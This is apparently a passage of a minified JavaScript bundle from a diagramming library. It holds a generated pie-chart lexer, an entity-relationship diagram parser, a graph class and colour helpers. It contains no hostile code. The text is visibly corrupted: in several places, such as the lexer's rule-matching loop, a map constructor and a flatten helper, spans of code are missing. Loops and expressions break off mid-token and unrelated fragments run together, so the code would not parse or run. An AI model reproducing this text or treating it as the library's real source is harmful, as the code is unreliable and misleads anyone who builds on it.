this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),23;case 1:return this.begin("type_directive"),24;case 2:return this.popState(),this.begin("arg_directive"),18;case 3:return this.popState(),this.popState(),26;case 4:return 25;case 5:case 6:break;case 7:return 20;case 8:case 9:break;case 10:return this.begin("title"),13;case 11:return this.popState(),"title_value";case 12:this.begin("string");break;case 13:this.popState();break;case 14:return"txt";case 15:return 6;case 16:return 8;case 17:return"value";case 18:return 22}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:[\s]+)/i,/^(?:title\b)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:pie\b)/i,/^(?:showData\b)/i,/^(?::[\s]*[\d]+(?:\.[\d]+)?)/i,/^(?:$)/i],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},title:{rules:[11],inclusive:!1},string:{rules:[13,14],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,12,15,16,17,18],inclusive:!0}}};function v(){this.yy={}}return y.lexer=g,v.prototype=y,y.Parser=v,new v}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,2],n=[1,5],r=[6,9,11,23,37],i=[1,17],a=[1,20],o=[1,25],s=[1,26],u=[1,27],c=[1,28],l=[1,37],h=[23,34,35],f=[4,6,9,11,23,37],d=[30,31,32,33],p=[22,27],y={trace:function(){},yy:{},symbols_:{error:2,start:3,ER_DIAGRAM:4,document:5,EOF:6,directive:7,line:8,SPACE:9,statement:10,NEWLINE:11,openDirective:12,typeDirective:13,closeDirective:14,":":15,argDirective:16,entityName:17,relSpec:18,role:19,BLOCK_START:20,attributes:21,BLOCK_STOP:22,ALPHANUM:23,attribute:24,attributeType:25,attributeName:26,ATTRIBUTE_WORD:27,cardinality:28,relType:29,ZERO_OR_ONE:30,ZERO_OR_MORE:31,ONE_OR_MORE:32,ONLY_ONE:33,NON_IDENTIFYING:34,IDENTIFYING:35,WORD:36,open_directive:37,type_directive:38,arg_directive:39,close_directive:40,$accept:0,$end:1},terminals_:{2:"error",4:"ER_DIAGRAM",6:"EOF",9:"SPACE",11:"NEWLINE",15:":",20:"BLOCK_START",22:"BLOCK_STOP",23:"ALPHANUM",27:"ATTRIBUTE_WORD",30:"ZERO_OR_ONE",31:"ZERO_OR_MORE",32:"ONE_OR_MORE",33:"ONLY_ONE",34:"NON_IDENTIFYING",35:"IDENTIFYING",36:"WORD",37:"open_directive",38:"type_directive",39:"arg_directive",40:"close_directive"},productions_:[0,[3,3],[3,2],[5,0],[5,2],[8,2],[8,1],[8,1],[8,1],[7,4],[7,6],[10,1],[10,5],[10,4],[10,3],[10,1],[17,1],[21,1],[21,2],[24,2],[25,1],[26,1],[18,3],[28,1],[28,1],[28,1],[28,1],[29,1],[29,1],[19,1],[19,1],[12,1],[13,1],[16,1],[14,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 1:break;case 3:this.$=[];break;case 4:a[s-1].push(a[s]),this.$=a[s-1];break;case 5:case 6:this.$=a[s];break;case 7:case 8:this.$=[];break;case 12:r.addEntity(a[s-4]),r.addEntity(a[s-2]),r.addRelationship(a[s-4],a[s],a[s-2],a[s-3]);break;case 13:r.addEntity(a[s-3]),r.addAttributes(a[s-3],a[s-1]);break;case 14:r.addEntity(a[s-2]);break;case 15:r.addEntity(a[s]);break;case 16:this.$=a[s];break;case 17:this.$=[a[s]];break;case 18:a[s].push(a[s-1]),this.$=a[s];break;case 19:this.$={attributeType:a[s-1],attributeName:a[s]};break;case 20:case 21:this.$=a[s];break;case 22:this.$={cardA:a[s],relType:a[s-1],cardB:a[s-2]};break;case 23:this.$=r.Cardinality.ZERO_OR_ONE;break;case 24:this.$=r.Cardinality.ZERO_OR_MORE;break;case 25:this.$=r.Cardinality.ONE_OR_MORE;break;case 26:this.$=r.Cardinality.ONLY_ONE;break;case 27:this.$=r.Identification.NON_IDENTIFYING;break;case 28:this.$=r.Identification.IDENTIFYING;break;case 29:this.$=a[s].replace(/"/g,"");break;case 30:this.$=a[s];break;case 31:r.parseDirective("%%{","open_directive");break;case 32:r.parseDirective(a[s],"type_directive");break;case 33:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 34:r.parseDirective("}%%","close_directive","er")}},table:[{3:1,4:e,7:3,12:4,37:n},{1:[3]},t(r,[2,3],{5:6}),{3:7,4:e,7:3,12:4,37:n},{13:8,38:[1,9]},{38:[2,31]},{6:[1,10],7:15,8:11,9:[1,12],10:13,11:[1,14],12:4,17:16,23:i,37:n},{1:[2,2]},{14:18,15:[1,19],40:a},t([15,40],[2,32]),t(r,[2,8],{1:[2,1]}),t(r,[2,4]),{7:15,10:21,12:4,17:16,23:i,37:n},t(r,[2,6]),t(r,[2,7]),t(r,[2,11]),t(r,[2,15],{18:22,28:24,20:[1,23],30:o,31:s,32:u,33:c}),t([6,9,11,15,20,23,30,31,32,33,37],[2,16]),{11:[1,29]},{16:30,39:[1,31]},{11:[2,34]},t(r,[2,5]),{17:32,23:i},{21:33,22:[1,34],24:35,25:36,27:l},{29:38,34:[1,39],35:[1,40]},t(h,[2,23]),t(h,[2,24]),t(h,[2,25]),t(h,[2,26]),t(f,[2,9]),{14:41,40:a},{40:[2,33]},{15:[1,42]},{22:[1,43]},t(r,[2,14]),{21:44,22:[2,17],24:35,25:36,27:l},{26:45,27:[1,46]},{27:[2,20]},{28:47,30:o,31:s,32:u,33:c},t(d,[2,27]),t(d,[2,28]),{11:[1,48]},{19:49,23:[1,51],36:[1,50]},t(r,[2,13]),{22:[2,18]},t(p,[2,19]),t(p,[2,21]),{23:[2,22]},t(f,[2,10]),t(r,[2,12]),t(r,[2,29]),t(r,[2,30])],defaultActions:{5:[2,31],7:[2,2],20:[2,34],31:[2,33],37:[2,20],44:[2,18],47:[2,22]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},g={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),37;case 1:return this.begin("type_directive"),38;case 2:return this.popState(),this.begin("arg_directive"),15;case 3:return this.popState(),this.popState(),40;case 4:return 39;case 5:case 6:break;case 7:return 11;case 8:break;case 9:return 9;case 10:return 36;case 11:return 4;case 12:return this.begin("block"),20;case 13:break;case 14:return 27;case 15:break;case 16:return this.popState(),22;case 17:return e.yytext[0];case 18:return 30;case 19:return 31;case 20:return 32;case 21:return 33;case 22:return 30;case 23:return 31;case 24:return 32;case 25:return 34;case 26:return 35;case 27:case 28:return 34;case 29:return 23;case 30:return e.yytext[0];case 31:return 6}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:[\s]+)/i,/^(?:"[^"]*")/i,/^(?:erDiagram\b)/i,/^(?:\{)/i,/^(?:\s+)/i,/^(?:[A-Za-z][A-Za-z0-9\-_]*)/i,/^(?:[\n]+)/i,/^(?:\})/i,/^(?:.)/i,/^(?:\|o\b)/i,/^(?:\}o\b)/i,/^(?:\}\|)/i,/^(?:\|\|)/i,/^(?:o\|)/i,/^(?:o\{)/i,/^(?:\|\{)/i,/^(?:\.\.)/i,/^(?:--)/i,/^(?:\.-)/i,/^(?:-\.)/i,/^(?:[A-Za-z][A-Za-z0-9\-_]*)/i,/^(?:.)/i,/^(?:$)/i],conditions:{open_directive:{rules:[1],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},block:{rules:[13,14,15,16,17],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,18,19,20,21,22,23,24,25,26,27,28,29,30,31],inclusive:!0}}};function v(){this.yy={}}return y.lexer=g,v.prototype=y,y.Parser=v,new v}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},,,,,,,function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(10),i=n(5);e.default=function(t){var e=i.default.parse(t),n=e.r,a=e.g,o=e.b,s=.2126*r.default.channel.toLinear(n)+.7152*r.default.channel.toLinear(a)+.0722*r.default.channel.toLinear(o);return r.default.lang.round(s)}},function(t,e,n){"use strict";var r=n(12);t.exports=i;function i(t){this._isDirected=!r.has(t,"directed")||t.directed,this._isMultigraph=!!r.has(t,"multigraph")&&t.multigraph,this._isCompound=!!r.has(t,"compound")&&t.compound,this._label=void 0,this._defaultNodeLabelFn=r.constant(void 0),this._defaultEdgeLabelFn=r.constant(void 0),this._nodes={},this._isCompound&&(this._parent={},this._children={},this._children["\0"]={}),this._in={},this._preds={},this._out={},this._sucs={},this._edgeObjs={},this._edgeLabels={}}function a(t,e){t[e]?t[e]++:t[e]=1}function o(t,e){--t[e]||delete t[e]}function s(t,e,n,i){var a=""+e,o=""+n;if(!t&&a>o){var s=a;a=o,o=s}return a+""+o+""+(r.isUndefined(i)?"\0":i)}function u(t,e,n,r){var i=""+e,a=""+n;if(!t&&i>a){var o=i;i=a,a=o}var s={v:i,w:a};return r&&(s.name=r),s}function c(t,e){return s(t,e.v,e.w,e.name)}i.prototype._nodeCount=0,i.prototype._edgeCount=0,i.prototype.isDirected=function(){return this._isDirected},i.prototype.isMultigraph=function(){return this._isMultigraph},i.prototype.isCompound=function(){return this._isCompound},i.prototype.setGraph=function(t){return this._label=t,this},i.prototype.graph=function(){return this._label},i.prototype.setDefaultNodeLabel=function(t){return r.isFunction(t)||(t=r.constant(t)),this._defaultNodeLabelFn=t,this},i.prototype.nodeCount=function(){return this._nodeCount},i.prototype.nodes=function(){return r.keys(this._nodes)},i.prototype.sources=function(){var t=this;return r.filter(this.nodes(),(function(e){return r.isEmpty(t._in[e])}))},i.prototype.sinks=function(){var t=this;return r.filter(this.nodes(),(function(e){return r.isEmpty(t._out[e])}))},i.prototype.setNodes=function(t,e){var n=arguments,i=this;return r.each(t,(function(t){n.length>1?i.setNode(t,e):i.setNode(t)})),this},i.prototype.setNode=function(t,e){return r.has(this._nodes,t)?(arguments.length>1&&(this._nodes[t]=e),this):(this._nodes[t]=arguments.length>1?e:this._defaultNodeLabelFn(t),this._isCompound&&(this._parent[t]="\0",this._children[t]={},this._children["\0"][t]=!0),this._in[t]={},this._preds[t]={},this._out[t]={},this._sucs[t]={},++this._nodeCount,this)},i.prototype.node=function(t){return this._nodes[t]},i.prototype.hasNode=function(t){return r.has(this._nodes,t)},i.prototype.removeNode=function(t){var e=this;if(r.has(this._nodes,t)){var n=function(t){e.removeEdge(e._edgeObjs[t])};delete this._nodes[t],this._isCompound&&(this._removeFromParentsChildList(t),delete this._parent[t],r.each(this.children(t),(function(t){e.setParent(t)})),delete this._children[t]),r.each(r.keys(this._in[t]),n),delete this._in[t],delete this._preds[t],r.each(r.keys(this._out[t]),n),delete this._out[t],delete this._sucs[t],--this._nodeCount}return this},i.prototype.setParent=function(t,e){if(!this._isCompound)throw new Error("Cannot set parent in a non-compound graph");if(r.isUndefined(e))e="\0";else{for(var n=e+="";!r.isUndefined(n);n=this.parent(n))if(n===t)throw new Error("Setting "+e+" as parent of "+t+" would create a cycle");this.setNode(e)}return this.setNode(t),this._removeFromParentsChildList(t),this._parent[t]=e,this._children[e][t]=!0,this},i.prototype._removeFromParentsChildList=function(t){delete this._children[this._parent[t]][t]},i.prototype.parent=function(t){if(this._isCompound){var e=this._parent[t];if("\0"!==e)return e}},i.prototype.children=function(t){if(r.isUndefined(t)&&(t="\0"),this._isCompound){var e=this._children[t];if(e)return r.keys(e)}else{if("\0"===t)return this.nodes();if(this.hasNode(t))return[]}},i.prototype.predecessors=function(t){var e=this._preds[t];if(e)return r.keys(e)},i.prototype.successors=function(t){var e=this._sucs[t];if(e)return r.keys(e)},i.prototype.neighbors=function(t){var e=this.predecessors(t);if(e)return r.union(e,this.successors(t))},i.prototype.isLeaf=function(t){return 0===(this.isDirected()?this.successors(t):this.neighbors(t)).length},i.prototype.filterNodes=function(t){var e=new this.constructor({directed:this._isDirected,multigraph:this._isMultigraph,compound:this._isCompound});e.setGraph(this.graph());var n=this;r.each(this._nodes,(function(n,r){t(r)&&e.setNode(r,n)})),r.each(this._edgeObjs,(function(t){e.hasNode(t.v)&&e.hasNode(t.w)&&e.setEdge(t,n.edge(t))}));var i={};return this._isCompound&&r.each(e.nodes(),(function(t){e.setParent(t,function t(r){var a=n.parent(r);return void 0===a||e.hasNode(a)?(i[r]=a,a):a in i?i[a]:t(a)}(t))})),e},i.prototype.setDefaultEdgeLabel=function(t){return r.isFunction(t)||(t=r.constant(t)),this._defaultEdgeLabelFn=t,this},i.prototype.edgeCount=function(){return this._edgeCount},i.prototype.edges=function(){return r.values(this._edgeObjs)},i.prototype.setPath=function(t,e){var n=this,i=arguments;return r.reduce(t,(function(t,r){return i.length>1?n.setEdge(t,r,e):n.setEdge(t,r),r})),this},i.prototype.setEdge=function(){var t,e,n,i,o=!1,c=arguments[0];"object"==typeof c&&null!==c&&"v"in c?(t=c.v,e=c.w,n=c.name,2===arguments.length&&(i=arguments[1],o=!0)):(t=c,e=arguments[1],n=arguments[3],arguments.length>2&&(i=arguments[2],o=!0)),t=""+t,e=""+e,r.isUndefined(n)||(n=""+n);var l=s(this._isDirected,t,e,n);if(r.has(this._edgeLabels,l))return o&&(this._edgeLabels[l]=i),this;if(!r.isUndefined(n)&&!this._isMultigraph)throw new Error("Cannot set a named edge when isMultigraph = false");this.setNode(t),this.setNode(e),this._edgeLabels[l]=o?i:this._defaultEdgeLabelFn(t,e,n);var h=u(this._isDirected,t,e,n);return t=h.v,e=h.w,Object.freeze(h),this._edgeObjs[l]=h,a(this._preds[e],t),a(this._sucs[t],e),this._in[e][l]=h,this._out[t][l]=h,this._edgeCount++,this},i.prototype.edge=function(t,e,n){var r=1===arguments.length?c(this._isDirected,arguments[0]):s(this._isDirected,t,e,n);return this._edgeLabels[r]},i.prototype.hasEdge=function(t,e,n){var i=1===arguments.length?c(this._isDirected,arguments[0]):s(this._isDirected,t,e,n);return r.has(this._edgeLabels,i)},i.prototype.removeEdge=function(t,e,n){var r=1===arguments.length?c(this._isDirected,arguments[0]):s(this._isDirected,t,e,n),i=this._edgeObjs[r];return i&&(t=i.v,e=i.w,delete this._edgeLabels[r],delete this._edgeObjs[r],o(this._preds[e],t),o(this._sucs[t],e),delete this._in[e][r],delete this._out[t][r],this._edgeCount--),this},i.prototype.inEdges=function(t,e){var n=this._in[t];if(n){var i=r.values(n);return e?r.filter(i,(function(t){return t.v===e})):i}},i.prototype.outEdges=function(t,e){var n=this._out[t];if(n){var i=r.values(n);return e?r.filter(i,(function(t){return t.w===e})):i}},i.prototype.nodeEdges=function(t,e){var n=this.inEdges(t,e);if(n)return n.concat(this.outEdges(t,e))}},function(t,e,n){var r=n(35)(n(18),"Map");t.exports=r},function(t,e,n){var r=n(376),i=n(383),a=n(385),o=n(386),s=n(387);function u(t){var e=-1,n=null==t?0:t.length;for(this.clear();++e-1&&t%1==0&&t<=9007199254740991}},function(t,e,n){(function(t){var r=n(137),i=e&&!e.nodeType&&e,a=i&&"object"==typeof t&&t&&!t.nodeType&&t,o=a&&a.exports===i&&r.process,s=function(){try{var t=a&&a.require&&a.require("util").types;return t||o&&o.binding&&o.binding("util")}catch(t){}}();t.exports=s}).call(this,n(6)(t))},function(t,e,n){var r=n(70),i=n(393),a=Object.prototype.hasOwnProperty;t.exports=function(t){if(!r(t))return i(t);var e=[];for(var n in Object(t))a.call(t,n)&&"constructor"!=n&&e.push(n);return e}},function(t,e,n){var r=n(144),i=n(145),a=Object.prototype.propertyIsEnumerable,o=Object.getOwnPropertySymbols,s=o?function(t){return null==t?[]:(t=Object(t),r(o(t),(function(e){return a.call(t,e)})))}:i;t.exports=s},function(t,e){t.exports=function(t,e){for(var n=-1,r=e.length,i=t.length;++n0&&a(l)?n>1?t(l,n-1,a,o,s):r(s,l):o||(s[s.length]=l)}return s}},function(t,e,n){var r=n(45);t.exports=function(t,e,n){for(var i=-1,a=t.length;++i4,c=u?1:17,l=u?8:4,h=s?0:-1,f=u?255:15;return r.default.set({r:(i>>l*(h+3)&f)*c,g:(i>>l*(h+2)&f)*c,b:(i>>l*(h+1)&f)*c,a:s?(i&f)*c/255:1},t)}}},stringify:function(t){var e=t.r,n=t.g,r=t.b,a=t.a;return a<1?"#"+i.DEC2HEX[Math.round(e)]+i.DEC2HEX[Math.round(n)]+i.DEC2HEX[Math.round(r)]+i.DEC2HEX[Math.round(255*a)]:"#"+i.DEC2HEX[Math.round(e)]+i.DEC2HEX[Math.round(n)]+i.DEC2HEX[Math.round(r)]}};e.default=a},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(10),i=n(50),a=n(5);e.default=function(t,e,n,o){void 0===o&&(o=1);var s=i.default.set({h:r.default.channel.clamp.h(t),s:r.default.channel.clamp.s(e),l:r.default.channel.clamp.l(n),a:r.default.channel.clamp.a(o)});return a.default.stringify(s)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(31);e.default=function(t){return r.default(t,"a")}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(90);e.default=function(t){return r.default(t)>=.5}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(34);e.default=function(t,e){return r.default(t,"a",e)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(34);e.default=function(t,e){return r.default(t,"a",-e)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(5),i=n(60);e.default=function(t,e){var n=r.default.parse(t),a={};for(var o in 